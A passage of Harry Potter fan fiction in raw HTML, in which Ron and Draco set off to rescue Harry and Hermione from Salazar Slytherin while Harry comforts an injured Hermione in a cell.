a bird person, I\nhad kept parakeets for awhile.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nCrookshanks here usually likes everyone, unless they\nhave something to hide.&#8221; She looked intently at Rowena.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look\nI have never been favored among cats.&#8221; Rowena said with a half a smile as if\ntrying to hide her embarrassment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of course.&#8221;\nMcGonagal said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright\nthis is what we are going to do first,&#8221; Dumbledore said with a little regret in\nhis voice, &#8220;We have to inform Mr. Potter&#8217;s and Miss Granger&#8217;s family of the\nsituation.&nbsp; Chances are whatever those\ntwo are going though it&#8217;s not going to be an easy road to recovery.&nbsp; Then we&#8217;ll think of a plan.&#8221;&nbsp; Dumbledore saw something moving by his door\nand he again inwardly smiled. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron,\nGinny and Draco backed away from the door and the gargoyle entrance.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nmy God, Oh my God,&#8221; Ginny cursed while pacing with worry.&nbsp; &#8220;Harry and Hermione are&#8212;&#8221; She couldn&#8217;t finish\nher thoughts they were too horrible.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nwas silent as he turned and walked away from Ginny and Draco.&nbsp; Ginny tried to go after her brother but he\nwas stopped by Draco&#8217;s tender hand on her arm</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No\nGin, let him go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But\nDraco, he&#8217;s hurting. His best friends are being, well you know hurt.&nbsp; He needs his family, he needs me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco\npulled Ginny to him, &#8220;I would just leave him alone, he\ndoesn&#8217;t look like he wants to talk with anyone, even you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But\nhe just looks so lost.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow, I know.&#8221; He whispered into her hair.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nmoved slowly though the corridor just walking every which way, not having\nreally any clue of where he was going.&nbsp;\nHe felt something in the air wasn&#8217;t right; it was probably true that Slytherin\nwould kill Harry and Hermione if help was on the way.&nbsp; But how would he even know unless there was\nsome kind of spy here at Hogwarts.&nbsp; That\nwas it. Ron&#8217;s posture straightened up in the realization. Someone here must be\nfeeding Slytherin information, how else would he know if Harry and Hermione\neven had the scepter?&nbsp; Or even left on\ntheir journey for the scepter?&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nalready had his suspicions.&nbsp; Something in\nthe back of his mind told him who the traitor was, as if saying it to him in a\nsoft whisper.&nbsp; So many things pointed to\nthat very traitor.&nbsp; He knew exactly where\nto look.&nbsp; Ron quickened his pace down the\ncorridor and stopped at the hidden door he had found weeks ago.&nbsp; He pushed the little rock in and the door\nslid open, he stepped inside and immediately went about lighting the\ncandles.&nbsp; He walked over to the bookshelf<i style="mso-bidi-font-style:normal">, now where is that book</i>? He thought to\nhimself.&nbsp; He found it rather quickly and\nopened the front cover of Jasmine&#8217;s diary.&nbsp;\nThe pages were blank.&nbsp; There was\nno writing.&nbsp; That Rowena was insane to\nthink that he could even read anything when there weren&#8217;t any words.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nsaw Rowena float into the room and he quickly tucked the diary into his robes,\nholding it underneath his shirt.&nbsp; Rowena\nturned to find him staring at her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nMr. Weasley, what are you doing in here?&#8221; She was surprised.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just\nlooking around, I never really got to see everything in this room.&nbsp; I figured&nbsp; since McGonagal\nand Dumbledore are busy I could look about the forbidden room and I wouldn&#8217;t\nget caught.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh.&#8221;\nRowena nodded, she tilted her head to the side glancing about his face. &#8220;You&#8217;re\nworried about your friends, aren&#8217;t you?&#8221; She saw Ron give her a puzzled\nlook.&nbsp; &#8220;I saw you, your sister and that\nDraco Malfoy outside the door before I floated in\nthrough the wall.&nbsp; So I know you heard\neverything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nnodded.&nbsp; &#8220;I admit I was there.&nbsp; I wonder what exactly is happening to them.\nIt must be&#8212;&#8221; Ron swallowed hard.&nbsp; &#8220;They\nare my best friends you know, I love them like family, and I would be lost\nwithout them.&#8221; He glanced down at the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\nsure you would.&#8221; Rowena said with a tiny smile, &#8220;I wouldn&#8217;t worry about it too\nmuch, everything will turn out the way it should.&nbsp; You&#8217;ll see.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nsure hope so.&#8221; Ron said, &#8220;Well I best be going.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\ndo it.&#8221; Rowena said as Ron was half way out the door.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nspun around, &#8220;don&#8217;t do what?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t\ngo after them, I know that&#8217;s what you&#8217;re thinking.&#8221; Rowena floated towards\nhim.&nbsp; &#8220;It would be very foolish to go\nbarreling in.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why\nis that?&#8221; Ron glared.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This\nis Salazar Slytherin you are up against, not some two town muggle\nmagician.&nbsp; He is evil and he is\ncruel.&nbsp; He will kill your friends if any\nhelp shows up.&#8221;&nbsp; Rowena said with a sense\nof concern.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nknew she could read his thoughts so he hoped he could block them by thinking of\nhow much he hated Draco Malfoy, since that wasn&#8217;t too\nhard to do.&nbsp; Hopefully he could say\nsomething completely different to what he was thinking. &#8220;I wasn&#8217;t planning on\ndoing anything, let professionals go after them.&nbsp; And as much as I want Harry and Hermione\nhome, I just can&#8217;t risk their safety.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s\na smart boy, I would go myself to help them. But I\ncan&#8217;t touch anything solid, I would be useless.&nbsp;\nBut trust me I know how you feel.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nnodded, &#8220;I know you do.&#8221; He smiled and then started from the room.&nbsp; The door slid back in place.&nbsp; He continued down the corridor thinking that\nthere just had to be something about that diary, what importance could it have\nin it for someone to enchant it?&nbsp; Ron\nrushed all the way back to Gryffindor tower, he didn&#8217;t care what that Rowena\nsaid.&nbsp; He was surely not going to listen\nto some ghost when his friends where in mortal peril. He was going to Harry and\nHermione even if it killed him. He gulped down a breath of air, and it probably\nwould too.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; Ginny stood from the sofa upon seeing Ron\nquickly rush in and stop.&nbsp; &#8220;Ron, are you\nall right?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nshook his head he looked down at the red sofa and the sleeping cat, thinking\nhow fortunate for that cat to be able to sleep during a time like this.&nbsp; What would the cat really think of his\nMistress in danger?&nbsp; He looked up at\nGinny, &#8220;no Ginny, I&#8217;m not all right.&nbsp; I\nwon&#8217;t be all right until Harry and Hermione are back here safe and sound.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nnoticed the tone in his voice, he was set on something. She just knew what ever\nit was, it would turn out disastrous.&nbsp;\nShe watched her brother head towards the stairs that lead to the dorms, He jumped two stairs at a time before reaching the\ntop.&nbsp; Ginny shouted up at him.&nbsp; &#8220;Ron, Ron what are you doing?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\ndidn&#8217;t say a word he simply turned and headed into the boys dorms.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\ndidn&#8217;t like the silence she got from her brother, she raced up the stairs and\nthrew open the door.&nbsp; She saw him\ncollecting a few necessities into a leather knapsack.&nbsp; &#8220;Ron what are you doing?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing\nGinny, just go about your business.&#8221;&nbsp; Ron\nwent over to Harry&#8217;s side of the bed and lifted the lid off the trunk.&nbsp; He grabbed the invisibility cloak and folded\nit up small and placed it in his sack.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nknew exactly what he was doing when she saw him putting Harry&#8217;s cloak into his\nbag.&nbsp; &#8220;You&#8217;re going after them aren&#8217;t\nyou?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlifted his gaze looking at his sister for a moment, before retuning his\nattention to his duties.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">When\nGinny didn&#8217;t get an answer, she knew &#8220;Ron, Ron you can&#8217;t.&nbsp; You could be killed.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nhave to go Gin, I have to.&nbsp; Harry and\nHerm need me. I must do something, I can&#8217;t just sit\naround here and listen to that damn ghosts advice.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She\nseemed pretty wise to me Ron, she knows what she&#8217;s talking about. She was one\nof the founders, she knows exactly what Salazar\nSlytherin is capable of.&#8221; Ginny&#8217;s voice raised a couple octaves.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">There\nwas a knock on the boy&#8217;s door and Ginny shouted towards the door to come\nin.&nbsp; As the door opened Zara&#8217;s head poked in, the door was pushed open more when Crookshanks sauntered into the room.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nlooked down at the orange cat, it it&#8217;s mouth it was carrying Hermione&#8217;s\nnecklace.&nbsp; She thought it was slightly odd,\nbut still paid it no mind. Hermione herself said that this cat was different.\nIt probably missed her so much that it was carrying around something that\nbelonged to her.&nbsp; Oh well she shrugged\nthen turning her attention to Ginny &#8220;I heard yelling, is everything all\nright?&#8221;&nbsp; Zara\nthen noticed that it was Ron and Ginny. &#8220;Oh never mind, I thought it was\nsomeone important arguing, it&#8217;s just you two again.&#8221;&nbsp; She pulled back from the room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Zara wait.&#8221; Ginny shouted as Crookshanks\njumped onto the bed next to Ron&#8217;s pack.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">In\na flash Zara&#8217;s head poked in again, &#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Maybe\nyou could talk some sense into Ron?&#8221; Ginny was worried.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nopened the door all the way and leaned against the door jamb, she crossed her\narms over her chest. &#8220;I doubt it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry\nand Hermione have been captured and Ron is going after them.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Captured,\nby whom?&#8221; Zara said looking between Ron and Ginny.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\njust about slapped herself in the head, word hadn&#8217;t gotten around yet about\nSalazar Slytherin rising, it was kept pretty hush, hush which was usually very\ndifficult to keep anything a secret here.&nbsp;\nGinny explained the whole thing to Zara\nincluding the part where Hermione had been tortured.&nbsp; Ginny could have sworn she saw worry in Zara&#8217;s eyes at what Ron was going to do, but she quickly\nmasked it.&nbsp; Zara\nsimply stared at Ron and Ginny felt it was necessary to leave the two of them\nalone, she left the room quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">There\nwas an awkward silence as the two of them just stood there staring at each\nother.&nbsp; Zara\nstraightened her posture and stepped closer to him.&nbsp; &#8220;It&#8217;s a stupid thing to do you know?&#8221; She\nsaid with no emotion attached to her voice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nreally don&#8217;t want your opinion on the matter, you really have no idea how much\nthey mean to me. I would do anything to help them.&#8221; Ron said</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Including\ngetting yourself killed?&nbsp; Ron let\nprofessionals handle this.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;They\nwould just botch it up.&#8221; He glanced at the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ndon&#8217;t know that.&#8221; Zara took in a breath,\nshe was loosing herself to her emotions.&nbsp;\n&#8220;I also feel what you are feeling. It&#8217;s true they are not my best\nfriends or anything, but they are friends and I can feel your loss but&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nlifted a hand cutting her off. &#8220;What would you do if it were Jewel and\nEnrique?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara sighed\nglancing about the room, looking everywhere except into Ron&#8217;s eyes.&nbsp; &#8220;Probably the same thing you&#8217;re doing.&#8221; She\nthen lifted her gaze to his.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nsaw it.&nbsp; Fear, worry.&nbsp; It was for him.&#8221; I&#8217;ll be fine Zara. I&#8217;m going to go to Slytherin&#8217;s\nwhatever, and bring Harry and Hermione back.&nbsp;\nHe swung his pack over his shoulder and started from the room.&nbsp; He was out the door and down the stairs when Zara spun around chasing after him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron\nthis is stupid.&#8221; She said at the top of the landing looking down at him, &#8220;you\ndon&#8217;t even know where to go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ll\nfigure something out, I&#8217;m not as dumb as everyone thinks I am.&#8221; He said looking\nup at her.&nbsp; He left through the portrait\nhole.&nbsp; What was out there was not someone\nhe wanted to see.&nbsp; &#8220;Malfoy\nwhat are you doing?&#8221; &nbsp;Ron noticed he was\ndressed for travel and prepared just like him.&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m\ngoing with you.&#8221; Draco said with confidence.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh no you are not; I don&#8217;t need some snot nosed twit slowing\nme down.&#8221; Ron said glaring, the portrait door swung open and both Ginny and Zara stepped out.&nbsp;\nGinny noticed Draco was ready for travel too. She gasped.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nam too going with you Weasley, how else are you going to find Slytherin&#8217;s palace. I&#8217;ve been there myself. I know exactly\nwhere it is.&#8221; Draco smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of\ncourse you do, being a fellow Death Eater I would be surprised if you didn&#8217;t\nknow.&#8221; Ron said with a grin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco\nnarrowed his eyes. &#8220;It doesn&#8217;t matter what you think of me Weasel, I&#8217;m going\nand that&#8217;s final.&nbsp; You will never get out\nof there alive if I don&#8217;t.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\ndidn&#8217;t have time for this, he threw his hands up in\nfrustration. &#8220;Fine!&nbsp;\nBut if you do one thing out of line, just one.\nLet&#8217;s just say there&#8217;s no one there to hear you shout for help.&#8221; He quickly\nstarted down the hall towards the doors that led out of Hogwarts.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco\nrolled his eyes. &#8220;Like I&#8217;m scared of you Weasley.&#8221; He\nsaid under his breath and he followed after Ron.&nbsp; Ginny and Zara too\nfollowed after the boys.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron\nplease, don&#8217;t do this.&#8221;&nbsp; Zara said while\nstanding on the stone steps outside the school.&nbsp;\n&#8220;I&#8217;m begging you, please.&#8221; Her voice softened to a whisper &#8220;don&#8217;t leave\nme.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nheard her voice and stopped in his tracks he quickly turned around, His bag\ndropped from his shoulder onto the wet grass and he sprinted back towards her\nHe didn&#8217;t even stop as he swung her up into his arms.&nbsp; He crushed her so hard against him that he\nalmost cut off both their air supplies.&nbsp;\n&#8220;Does this mean you forgive me then?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nlaughed a bit as her arms tightened around him, &#8220;what if you never come back?&#8221;\nShe spoke softly her voice trembling with unshed tears. &#8220;I couldn&#8217;t stand it, I\njust couldn&#8217;t.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\npulled back a put cupping her face within his hands staring intently into her\ndark eyes, was this the same girl he met at the beginning of the year&nbsp; with her all\ntough and no nonsense attitude?&nbsp; She was\nactually begging him to stay. He smiled to himself,\nperhaps they all had grown up a bit this year.&nbsp;\nHe leaned in closer so that his mouth was hovering only inches above\nhers.&nbsp; &#8220;I&#8217;ll come back I promise. And\nWeasleys always keep their promises.&#8221; He said with a tiny smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\ntears finally fell from her eyes as she felt herself smile a little and she\nquickly pressed her lips against his.&nbsp;\nRon&#8217;s embrace around her was strong as hers was around him.&nbsp; Their mouths opened and their tongues met as\nthey kissed as if there were no tomorrow, as they might not be.&nbsp; She seemed to hold onto him for dear life,\nshe kissed him back so hard and so powerfully that time seemed to slow down\njust for them, making this moment last.&nbsp;\nOf course they knew that Father Time can not be stopped, and Ron\nreluctantly pulled away.&nbsp; She wiped her\neyes, &#8220;Oh look at me all attached to you.&nbsp;\nThat&#8217;s never happened to me before.&#8221;&nbsp;\nZara watched a small grin appear on Ron&#8217;s face\nand buried her face in between his neck and shoulder; her arms were still\naround him so tightly that they ached. &#8220;Be careful.&#8221; She murmured against his\nshoulder. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nwill.&#8221; He said resting his chin on the top of her head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\npulled out of his arms and wiped the tears from her eyes with slender fingers.\nShe smiled lightly as did Ron.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nturned to find his sister still involved in a passionate embrace, this angered\nhim so much &#8220;Malfoy, lets go!&#8221; He shouted in anger.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Zara\nshook her head, this time in merriment.&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Draco\nand Ginny pulled away, and Draco&#8217;s fingers grazed her\ncheek before he really let her go.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny\nwalked back towards Zara and turned around as they\nwatched their loved ones went off to face unimaginable danger. The two of them\nstood there until the figures of the boys could no longer be seen.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s\nbody shifted and a low agonizing moan escaped from her lips.&nbsp; This snapped Harry awake, he had been leaning\nagainst the wall with her in his lap nestled against his chest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione?&#8221;\nHe whispered. She didn&#8217;t move or make another sound.&nbsp; Harry placed a gentle hand against her cheek,\n&#8220;Hermione?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A\nfar away voice whispered softly in her head as she was coming around, the sound\nof the voice becoming louder, but not clear.&nbsp;\nShe felt a pressure on her body, yet her hands and feet felt free of\nbindings.&nbsp; Something touched her cheek&nbsp; Panic over took\nher, she was not going to stand by and do nothing while they tortured her some\nmore, she was going to fight back, or at least try to get away.&nbsp; She immediately began kicking, punching and\nslapping at the same time as trying to move away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione,\nHermione stop,&#8221; Harry said as he was being attacked. Geeze,\nhe didn&#8217;t realize how strong she actually was, especially for her being\nseverely injured. &#8220;It&#8217;s me. It&#8217;s Harry. Open your eyes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\ndidn&#8217;t know why but something in the voice made her stop fighting, she thought\nmind control and her eyes opened.&nbsp; The\nworld was fuzzy, but she could see the outline of a person sitting very close,\nshe could see a mix of colors as the world started to focus.&nbsp; Hermione blinked a couple of times.&nbsp; She saw the very concerned looking gaze of\nHarry looking down at her.&nbsp; Hermione\nlifted her hand slowly, touching the side of his face as if to see if he were\nreally there.&nbsp; Her fingers came in\ncontact with his cheek and she gasped. He was real. Tears swelled in her eyes\n&#8220;Oh Harry.&#8221; She flung her arms around his neck and buried her face in his\nchest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nwas afraid to put his arms around her for fear of hurting her wounds.&nbsp; But the sounds of her harsh crying convinced\nhim and his arms went around her, lightly.&nbsp;&nbsp;\nHe felt her shaking violently in his arms as she cried.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nchoked on some of her tears. &#8220;Oh God Harry, it was&#8212;they did&#8212;and&#8212;and he&#8212;he&#8212; &#8221; She\ncould barely put two words together each time she speak an enormous burst of\ntears would rush out like a wild river along with sound of her agonized cries\nfilled the air of the cell.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nrocked her gently and arms automatically tightened around her. &#8220;Ooow.&#8221; Harry heard her moan out\nin anguish.&nbsp; &#8220;I&#8217;m sorry Hermione I can&#8217;t\neven hold you.&#8221; Harry said with regret. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nlifted her head and the tears were still flowing from her eyes, she looked at\nhim.&nbsp; &#8220;I don&#8217;t care if it hurts just hold\nme, please?&#8221; Her body shook a few times as she tried to stop herself from\ncrying any further, yet it was nearly impossible.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s\nheart hurt seeing her like this, this shouldn&#8217;t have happened to her.&nbsp; He would get that Salazar Slytherin if it&#8217;s\nthe last thing would ever do. Harry put his arms around her and pulled her more\ninto his warm embrace as he let her cry as much as she needed too.&nbsp; Harry heard the sound of the iron door start\nto move, it opened and a Death Eater walked in carrying a tray of food.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nturned slightly and practically jumped back, fear had overwhelmed her.&nbsp; Fearing that this Death Eater was going to\ntake her back for more torture she tightened her grip on Harry.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\nDeath Eater saw this reaction and frowned. &#8220;I&#8217;m not going to hurt you,&#8221;&nbsp; She said holding up\na tray of food. &#8220;I brought you something to eat, see.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\ncouldn&#8217;t help the shaking as she stared at the Death Eater, not speaking at\nall.&nbsp; Harry nestled her into the safety\nof his embrace.&nbsp; He too still didn&#8217;t\ntrust the Death Eater, even though it showed them such compassion. But it could\njust be an act.&nbsp; He was not going to let\nthem take Hermione away from him again, he was extra cautious.&nbsp; Yet he wanted Hermione to not be trembling so\nentirely in fear.&nbsp; &#8220;Hermione, the Death\nEater is right.&nbsp; She is not going to hurt\nyou; she&#8217;s been helping me heal you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nsniffled. &#8220;Yeah, so they can just do it to me again.&#8221; Hermione said as she\nchoked down a sob, her eyes continuing to water as she remembered what happened\nthe last time.&nbsp; She buried her head into\nhis chest again so she wouldn&#8217;t have to look at the Death Eater.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ll\njust 